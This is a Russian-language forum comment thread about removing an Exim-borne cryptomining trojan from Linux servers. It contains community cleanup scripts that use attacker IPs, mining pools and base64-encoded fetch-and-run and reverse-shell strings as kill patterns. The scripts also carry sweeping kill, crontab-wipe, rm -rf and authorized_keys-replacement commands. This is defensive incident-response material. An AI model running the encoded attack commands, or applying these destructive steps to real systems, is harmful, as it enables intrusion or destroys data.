'51.38.203.146' | crontab -r crontab -l | grep 'mr.sh' | crontab -r crontab -l | grep '2mr.sh' | crontab -r crontab -l | grep 'cr5.sh' | crontab -r crontab -l | grep 'logo9.jpg' | crontab -r ps aux | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|51.68.173.240\|91.201.42.5' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kworkerdssx -c\' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/65ccEJ7\' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/jmxx\' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/2Ne80nA\' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '45.76.122.92'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '51.38.191.178'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '51.15.56.161'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '86s.jpg'| awk '{print $2}' | xargs kill -9 #ps aux | grep -v grep | grep 'pastebin.com'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'aGTSGJJp'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'nMrfmnRa'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'PuNY5tm2'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'I0r8Jyyt'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'AgdgACUD'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'uiZvwxG8'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'BtwXn5qH'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '3XEzey2T'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 't2tKrCSZ'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'HD7fcBgg'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'zXcDajSs'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '3lmigMo'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'AkMK4A2'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'AJ2AkKe'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'HiPxCJRS'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'http_0xCC030'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'http_0xCC031'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'http_0xCC032'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'http_0xCC033'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep "C4iLM4L"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs kill -9 ps aux | grep -v grep | grep '/boot/vmlinuz'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep "i4b503a52cc5"| awk '{print $2}'|xargs kill -9 ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2"| awk '{print $2}'|xargs kill -9 ps aux | grep -v grep | grep "2g0uv7npuhrlatd"| awk '{print $2}'|xargs kill -9 ps aux | grep -v grep | grep "nqscheduler"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "rkebbwgqpl4npmm"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v aux |grep "]"| awk '$3>10.0{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "0kwti6ut420t"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs kill -9 ps aux | grep -v grep | grep "\[^" | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "rsync" | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs kill -9 #ps aux | grep -v grep | grep " \["|grep watchbog| awk '{print $2}'| xargs kill -9 #ps aux | grep -v grep | grep " \["|grep bash| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "158.69.133.18:8220"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'gitee.com'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep '104.248.4.162'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '89.35.39.78'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '104.248.53.213'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '93.113.108.146'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/dev/shm/z3.sh'| awk '{print $2}' | xargs kill -9 #ps aux | grep -v grep | grep '/bin/bash'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep '\['|grep 'conflue'| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'netdns' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd |awk '$3>10.0{print $2}' | xargs kill -9 #ps aux | grep -v grep | grep -v aux |grep "\-bash"| awk '{print $2}'| xargs kill -9 #ps aux | grep -v grep | grep -v bin| grep sshd| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v aux | grep " ps"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs kill -9 ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs kill -9 ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v aux |grep "sh] <"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep -v aux |grep " \[]"| awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep '/tmp/l.sh'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kblockd' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'khugepageds' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'kerberods' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kpsmouseds' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kintegrityds' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'thyrsi.com'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'z9ls.com' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'curl'| grep 'max-time'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'kthrotld' | awk '{print $2}'| xargs kill -9 ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'CnzFVPLF'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'CvKzzZLs'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '/tmp/udevd'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'YmFzaCAtaSA+JiAvZGV2L3RjcC80NS43Ni4xOTEuMTExLzIwMTIgMD4mMQ'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'dog2.6'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'sustse'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'sustse3'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'mr.sh'| grep 'wget'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'mr.sh'| grep 'curl'| awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '2mr.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '2mr.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'cr5.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'cr5.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs kill -9 ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs kill -9 ps auxf| grep -v grep | grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "monerohash.com"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9 ps auxf| grep -v grep | grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9 ps auxf| grep xiaoyao | awk '{print $2}'|xargs kill -9 ps auxf| grep xiaoxue | awk '{print $2}'|xargs kill -9 netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 pgrep -f monerohash|xargs kill -9 pgrep -f L2Jpbi9iYXN|xargs kill -9 pgrep -f xzpauectgr|xargs kill -9 pgrep -f slxfbkmxtd|xargs kill -9 pgrep -f mixtape|xargs kill -9 pgrep -f addnj|xargs kill -9 pgrep -f 200.68.17.196|xargs kill -9 pgrep -f IyEvYmluL3NoCgpzUG|xargs kill -9 pgrep -f KHdnZXQgLXFPLSBodHRw|xargs kill -9 pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3|xargs kill -9 pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo|xargs kill -9 pgrep -f mwyumwdbpq.conf|xargs kill -9 pgrep -f honvbsasbf.conf|xargs kill -9 pgrep -f mqdsflm.cf|xargs kill -9 pgrep -f stratum|xargs kill -9 pgrep -f lower.sh|xargs kill -9 pgrep -f ./ppp|xargs kill -9 pgrep -f cryptonight|xargs kill -9 pgrep -f ./seervceaess|xargs kill -9 pgrep -f ./servceaess|xargs kill -9 pgrep -f ./servceas|xargs kill -9 pgrep -f ./servcesa|xargs kill -9 pgrep -f ./vsp|xargs kill -9 pgrep -f ./jvs|xargs kill -9 pgrep -f ./pvv|xargs kill -9 pgrep -f ./vpp|xargs kill -9 pgrep -f ./pces|xargs kill -9 pgrep -f ./rspce|xargs kill -9 pgrep -f ./haveged|xargs kill -9 pgrep -f ./jiba|xargs kill -9 pgrep -f ./watchbog|xargs kill -9 pgrep -f ./A7mA5gb|xargs kill -9 pgrep -f kacpi_svc|xargs kill -9 pgrep -f kswap_svc|xargs kill -9 pgrep -f kauditd_svc|xargs kill -9 pgrep -f kpsmoused_svc|xargs kill -9 pgrep -f kseriod_svc|xargs kill -9 pgrep -f kthreadd_svc|xargs kill -9 pgrep -f ksoftirqd_svc|xargs kill -9 pgrep -f kintegrityd_svc|xargs kill -9 pgrep -f jawa|xargs kill -9 pgrep -f oracle.jpg|xargs kill -9 pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN|xargs kill -9 pgrep -f 188.209.49.54|xargs kill -9 pgrep -f 181.214.87.241|xargs kill -9 pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ|xargs kill -9 pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj|xargs kill -9 pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK|xargs kill -9 pgrep -f servim|xargs kill -9 pgrep -f kblockd_svc|xargs kill -9 pgrep -f native_svc|xargs kill -9 pgrep -f sshd2|xargs kill -9 pgrep -f ynn|xargs kill -9 pgrep -f perl|xargs kill -9 pgrep -f 65ccEJ7|xargs kill -9 pgrep -f jmxx|xargs kill -9 pgrep -f 2Ne80nA|xargs kill -9 pgrep -f sysstats|xargs kill -9 pgrep -f systemxlv|xargs kill -9 pgrep -f watchbog|xargs kill -9 pgrep -f OIcJi1m|xargs kill -9 pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f XJnRj pkill -f mgwsl pkill -f pythno pkill -f jweri pkill -f lx26 pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f polkitd pkill -f nanoWatch pkill -f zigw pkill -f devtool pkill -f devtools pkill -f systemctI pkill -f watchbog pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmr-stak pkill -f suppoie pkill -f zer0day.ru pkill -f dbus-daemon--system pkill -f nullcrew pkill -f systemctI pkill -f kworkerds pkill -f init10.cfg pkill -f /wl.conf pkill -f crond64 pkill -f sustse pkill -f vmlinuz sudo rm -rf /tmp/wc.conf sudo rm -rf /tmp/sustse sudo rm -rf /tmp/php sudo rm -rf /tmp/p2.conf sudo rm -rf /tmp/pprt sudo rm -rf /tmp/ppol sudo rm -rf /tmp/javax/config.sh sudo rm -rf /tmp/javax/sshd2 sudo rm -rf /tmp/.profile sudo rm -rf /tmp/1.so sudo rm -rf /tmp/kworkerds sudo rm -rf /tmp/kworkerds3 sudo rm -rf /tmp/kworkerdssx sudo rm -rf /tmp/xd.json sudo rm -rf /tmp/syslogd sudo rm -rf /tmp/syslogdb sudo rm -rf /tmp/65ccEJ7 sudo rm -rf /tmp/jmxx sudo rm -rf /tmp/2Ne80nA sudo rm -rf /tmp/dl sudo rm -rf /tmp/ddg sudo rm -rf /tmp/systemxlv sudo rm -rf /tmp/systemctI sudo rm -rf /tmp/.abc sudo rm -rf /tmp/osw.hb sudo rm -rf /tmp/.tmpleve sudo rm -rf /tmp/.tmpnewzz sudo rm -rf /tmp/.java sudo rm -rf /tmp/.omed sudo rm -rf /tmp/.tmpc sudo rm -rf /tmp/.tmpleve sudo rm -rf /tmp/.tmpnewzz sudo rm -rf /tmp/gates.lod sudo rm -rf /tmp/conf.n sudo rm -rf /tmp/update.sh sudo rm -rf /tmp/devtool sudo rm -rf /tmp/devtools sudo rm -rf /tmp/fs sudo rm -rf /tmp/.rod sudo rm -rf /tmp/.rod.tgz sudo rm -rf /tmp/.rod.tgz.1 sudo rm -rf /tmp/.rod.tgz.2 sudo rm -rf /tmp/.mer sudo rm -rf /tmp/.mer.tgz sudo rm -rf /tmp/.mer.tgz.1 sudo rm -rf /tmp/.hod sudo rm -rf /tmp/.hod.tgz sudo rm -rf /tmp/.hod.tgz.1 sudo rm -rf /tmp/84Onmce sudo rm -rf /tmp/C4iLM4L sudo rm -rf /tmp/lilpip sudo rm -rf /tmp/3lmigMo sudo rm -rf /tmp/am8jmBP sudo rm -rf /tmp/tmp.txt sudo rm -rf /tmp/baby sudo rm -rf /tmp/.lib sudo rm -rf /tmp/systemd sudo rm -rf /tmp/lib.tar.gz sudo rm -rf /tmp/baby sudo rm -rf /tmp/java sudo rm -rf /tmp/j2.conf sudo rm -rf /tmp/.mynews1234 sudo rm -rf /tmp/a3e12d sudo rm -rf /tmp/.pt sudo rm -rf /tmp/.pt.tgz sudo rm -rf /tmp/.pt.tgz.1 sudo rm -rf /tmp/go sudo rm -rf /tmp/java sudo rm -rf /tmp/j2.conf sudo rm -rf /tmp/.tmpnewasss sudo rm -rf /tmp/java sudo rm -rf /tmp/go.sh sudo rm -rf /tmp/go2.sh sudo rm -rf /tmp/.censusqqqqqqqqq sudo rm -rf /tmp/.kerberods sudo rm -rf /tmp/kerberods sudo rm -rf /tmp/seasame sudo rm -rf /tmp/touch sudo rm -rf /tmp/.p sudo rm -rf /tmp/runtime2.sh sudo rm -rf /tmp/runtime.sh sudo rm -f /usr/sbin/kerberods sudo rm -f /usr/sbin/kthrotlds sudo rm -f /usr/sbin/kintegrityds sudo rm -f /usr/sbin/kpsmouseds sudo rm -f /etc/rc.d/init.d/kerberods sudo rm -f /etc/init.d/netdns sudo rm -f /etc/rc.d/init.d/kthrotlds sudo rm -f /etc/rc.d/init.d/kpsmouseds sudo rm -f /etc/rc.d/init.d/kintegrityds sudo rm -rf /dev/shm/z3.sh sudo rm -rf /dev/shm/z2.sh sudo rm -rf /dev/shm/.scr sudo rm -rf /dev/shm/.kerberods sudo rm -f /etc/ld.so.preload sudo rm -f /usr/local/lib/libioset.so chattr -i /etc/ld.so.preload sudo rm -f /etc/ld.so.preload sudo rm -f /usr/local/lib/libioset.so sudo rm -rf /tmp/watchdogs sudo rm -rf /etc/cron.d/tomcat sudo rm -rf /etc/cron.d/root sudo rm -rf /var/spool/cron/root sudo rm -rf /var/spool/cron/crontabs/root sudo rm -rf /etc/rc.d/init.d/watchdogs sudo rm -rf /usr/sbin/watchdogs sudo rm -f /tmp/kthrotlds sudo rm -f /etc/rc.d/init.d/kthrotlds sudo rm -rf /tmp/.sysbabyuuuuu12 sudo rm -rf /tmp/logo9.jpg sudo rm -rf /tmp/miner.sh sudo rm -rf /tmp/nullcrew sudo rm -rf /tmp/proc sudo rm -rf /tmp/2.sh sudo rm -rf /tmp/.XIMunix sudo rm -f /var/tmp/dog2.61 sudo rm -f /var/tmp/prot sudo rm -f /tmp/prot sudo rm -f /usr/sbin/kerberods sudo rm -f /usr/sbin/kthrotlds sudo rm -f /usr/sbin/kintegrityds sudo rm -f /usr/sbin/kpsmouseds sudo rm /opt/atlassian/confluence/bin/1.sh sudo rm /opt/atlassian/confluence/bin/1.sh.1 sudo rm /opt/atlassian/confluence/bin/1.sh.2 sudo rm /opt/atlassian/confluence/bin/1.sh.3 sudo rm /opt/atlassian/confluence/bin/3.sh sudo rm /opt/atlassian/confluence/bin/3.sh.1 sudo rm /opt/atlassian/confluence/bin/3.sh.2 sudo rm /opt/atlassian/confluence/bin/3.sh.3 sudo rm -rf /var/tmp/f41 sudo rm -rf /var/tmp/2.sh sudo rm -rf /var/tmp/config.json sudo rm -rf /var/tmp/xmrig sudo rm -rf /var/tmp/1.so sudo rm -rf /var/tmp/kworkerds3 sudo rm -rf /var/tmp/kworkerdssx sudo rm -rf /var/tmp/kworkerds sudo rm -rf /var/tmp/wc.conf sudo rm -rf /var/tmp/nadezhda. sudo rm -rf /var/tmp/nadezhda.arm sudo rm -rf /var/tmp/nadezhda.arm.1 sudo rm -rf /var/tmp/nadezhda.arm.2 sudo rm -rf /var/tmp/nadezhda.x86_64 sudo rm -rf /var/tmp/nadezhda.x86_64.1 sudo rm -rf /var/tmp/nadezhda.x86_64.2 sudo rm -rf /var/tmp/sustse3 sudo rm -rf /var/tmp/sustse sudo rm -rf /var/tmp/moneroocean/ sudo rm -rf /var/tmp/config.json sudo rm -rf /var/tmp/devtool sudo rm -rf /var/tmp/devtools sudo rm -rf /var/tmp/play.sh sudo rm -rf /var/tmp/systemctI sudo rm -rf /var/tmp/update.sh sudo rm -rf /var/tmp/.java sudo rm -rf /var/tmp/1.sh sudo rm -rf /var/tmp/conf.n sudo rm -R -f /tmp/khugepageds sudo rm -rf /tmp/khugepageds sudo rm -r /var/tmp/lib sudo rm -r /var/tmp/.lib touch /tmp/lok mkdir -p /tmp/khugepageds sudo rm -rf /var/tmp/yum-confluence-* chattr -i /root/.ssh/authorized_keys sudo rm -f /root/.ssh/authorized_keys cp /root/.ssh/1/authorized_keys /root/.ssh/authorized_keys sleep 1; done;
в конце скрипта строкуcp /root/.ssh/1/authorized_keys /root/.ssh/authorized_keys
заменить на свою. "/root/.ssh/1/authorized_keys" — файл с вашими ключами.
Пока висит в фоне, все норм, но как только перегружаю сервер или останавливаю kill.sh, заражение идет по новой.
kill.sh 2> /dev/null > /dev/null &
Нашел инфу, что SSH соединения идут из Бутана, забанил IP Бутана.
P.S. На гитхабе есть LSD Malware Clean Tool, который должен лечить эту заразу, но он не работает.
#!/usr/bin/env sh
# ??????
(service crond stop || systemctl restart crond || /etc/init.d/cron stop)|sh
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
# ????Hook?
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcset.so
# ??????
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox rm -f /tmp/kthrotlds
busybox rm -f /usr/sbin/kthrotlds
# ???????
chkconfig netdns off
chkconfig –del netdns
systemctl disable netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/init.d/netdns
# ?????????
ldconfig
# ????????
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' | busybox xargs kill -9
service crond start
echo «Done, Please reboot!»
bobrabobr Автор
10.06.2019 20:58Круто, спасибо Вам! Добавил в пост и побегу тоже тестировать
UPD1: А у Вас crontab троян не убил? у меня сразу его порезало, поэтому crontab -l… -r не имеет смысла, увы… В кронтабе только троян
UPD2: После перезагрузки заново заражение — при обновлённом exim?.. ух. Копаем дальше, интересно, получится ли стабильно вылечить.paulmann
10.06.2019 21:28в кроне убил первым делом.
Exim version 4.92 #3 built 05-Jun-2019 09:22:22bobrabobr Автор
10.06.2019 21:39Спасибо! Про крон я имею в виду что троян при установке стёр все мои записи в кроне и заменил их одной своей строкой, которую постоянно восстанавливает.
Скажите пожалуйста, Ваш crontab -l сейчас выдаёт нормальные записи Ваши, или..?
bobrabobr Автор
10.06.2019 21:47По совету clsv (он писал в личке, т.к. read-only) попробуйте, пожалуйста, добавить в скрипт очистку очереди exim!
Полагаю, как-то так:
exipick -i | xargs exim -Mrm
(в пост добавил)paulmann
10.06.2019 22:31Да! В очереди был вирус!
помогло. После ребута повторного заражения нет.exipick -i | xargs exim -Mrm
saboteur_kiev
11.06.2019 14:33Спасибо конечно, но можно под спойлер спрятать эту 10-экранную простыню?
paulmann
11.06.2019 20:45Уже нельзя… Очень редко пишу комменты тут и думал, код автоматом подкат прячется, а пока пытался отредактировать уже появились ответы и кнопка редактирования пропала.
lorc
11.06.2019 15:55Бестолку. Сервер все равно уже скомпрометирован. У вас не может быть 100% уверенности что вы вычистили всю заразу. Некоторые руткиты прячутся очень и очень хорошо. Надо ставить все с нуля.
Можете очень осторожно взять конфиги со старого сервера. И то, надо будет их все внимательно перечитать, потому что некоторые программы позволяют выполнять произвольные команды через конфиги.
tbp2k5
10.06.2019 22:24+3IMHO Если машина скомпрометирована то ее не «лечат», а переустанавливают с нуля.
bobrabobr Автор
10.06.2019 22:39+1В целом так наверно большинство и сделает (в идеале — делают параллельно), но не во всех случаях это легко и быстро, так что если получится найти лекарство — это здорово. А так — да, согласен с Вами, для надежности лучше конечно с чистого листа.
AnotherDenni
10.06.2019 22:30Появился скрипт от first vds habr.com/ru/company/first/blog/455636
bobrabobr Автор
10.06.2019 22:38Интересно, снова спасибо за информацию! Добавил в пост, давайте тестировать…
UPD 1: При запущенном скрипте от paulmann, временно сбивающем симптомы, FirstVDS'овский скрипт написал «No virus spotted» :) Попробуем-с выключить тот скрипт и дождаться появления симптомов.
UPD 2: После отключения вирус «нашелся», ушло всё на ребут. Посмотрим, как оно потом.
UPD 3: После ребута пока вроде полет нормальный! Будем надеяться… В общем, пробуйте их скрипт, дамы и господа!
paulmann
10.06.2019 22:38Глянул. Он делает тоже что и мой, но не удаляет письма из exim. Если будете пользоваться, добавьте в код скрипта «exipick -i | xargs exim -Mrm» перед
echo "fixed" rebootbobrabobr Автор
10.06.2019 22:42У них вроде после killall -9 curl (4 раза повторенной) это идёт.
Возможно, ребята читали хабр и использовали наработки. :)
Проверим-с, что вышло.
Причём видно что спешили, опечатки в тексте комментов — ну главное чтобы скрипт работал! Тестирую
bananaseverywhere
10.06.2019 22:44Спасибо, добавил в версию в гите, сейчас обновлю на сайте.
bobrabobr Автор
10.06.2019 22:56Кирилл, большое Вам спасибо за скрипт, вроде наконец помогло! :)
Добавлю в пост…
bananaseverywhere
10.06.2019 22:49Залил на гитхаб исходник скрипта малвари: github.com/bananaphones/exim-rce-quickfix/blob/master/malware_do_not_run.sh
Он довольно тяжело читаемый, и есть несколько его вариаций (с другой машины вытащился другой, но похожий).
Harsiesis
